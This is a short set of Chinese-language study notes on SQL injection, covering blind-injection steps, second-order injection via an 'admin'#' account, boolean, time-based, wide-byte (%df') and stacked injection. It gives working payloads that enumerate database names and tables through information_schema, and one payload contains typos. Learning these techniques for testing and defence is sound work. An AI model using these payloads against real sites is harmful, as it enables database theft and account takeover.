盲注大概思路为:
1、猜测数据库长度
?id=1' and length(database())=8 --+
2、猜测数据库名称
?id=1'and ascii(sybstr((select database)),1,1)>114 --+
3、探测表得数量
id=1'and (select count(table_name) from information_schema.tables where table_schema=database())>1 --+
4、探测表名长度
id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1 --+
5、探测表名称
依次往下探测
二次注入
注册admin'#账号,修改密码时直接修改admin账号,因为此时#后的会被注释,admin账号和数据库代码闭合,即修改admin密码成功
布尔盲注
若页面没有回显位置,且在条件为真时输出一个结果,为假时输出另一个结果,则判断为布尔盲注。此时需要substr()函数截取字符串,ascii()函数转换为ascii码,猜测目标字符串的ascii码,一位一位猜测
时间盲注
和布尔盲注类似,通过sleep()函数判断是否为真,如为真则会延迟输出
宽字节注入
因为单引号'会被函数转为'/,得想办法把自动生成的/注释掉。
mysql中两个百分号字符会被转义为汉字
%5c=/ %df%5c=一个汉字
注入时加上%df'即可注入成功
堆叠注入
支持同时执行多条语句,用分号隔开所执行的语句